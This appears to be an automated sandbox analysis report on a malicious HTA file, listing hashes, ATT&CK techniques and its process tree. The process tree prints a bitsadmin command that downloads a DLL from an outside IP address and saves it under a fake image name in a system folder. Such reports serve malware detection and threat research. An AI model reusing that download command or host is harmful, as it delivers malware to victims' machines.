21cada4bdd0b3dbdb1e5f64bb2c0a06cda4e0bddfb2d63f2e755e1a37ddf8ec7

Analysis

max time kernel
156s
max time network
163s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 10:41

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General

Target
azienda_22.hta
Size 6KB
Sample230207-mq4v2sec8w
SHA256 21cada4bdd0b3dbdb1e5f64bb2c0a06cda4e0bddfb2d63f2e755e1a37ddf8ec7
MD5 d6979b7e7f15b105447fe0d2e98a53fa
SHA1 a5e9f25dee72b1f3179acf5deaf0a458684457ff
SHA512 a1c213f908658ef621ad7618a9c95820e60449041486f836f3d05bbae4a88dcbdced8ba2695e5e7b76313cf1092aede64fe8625667f8954c66509c0693b5f32f
SSDEEP 192:PlXsU77rIKdn863jMM0OD9+VVF43xYkuE:tXz7EOM7/F4/uE
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
7	1560	mshta.exe
9	1560	mshta.exe
11	1560	mshta.exe
14	1560	mshta.exe
16	1560	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
4888	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1560 wrote to memory of 4888	1560	mshta.exe	83
PID 1560 wrote to memory of 4888	1560	mshta.exe	83
PID 1560 wrote to memory of 4888	1560	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_22.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1560
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://193.0.179.30/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:4888

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads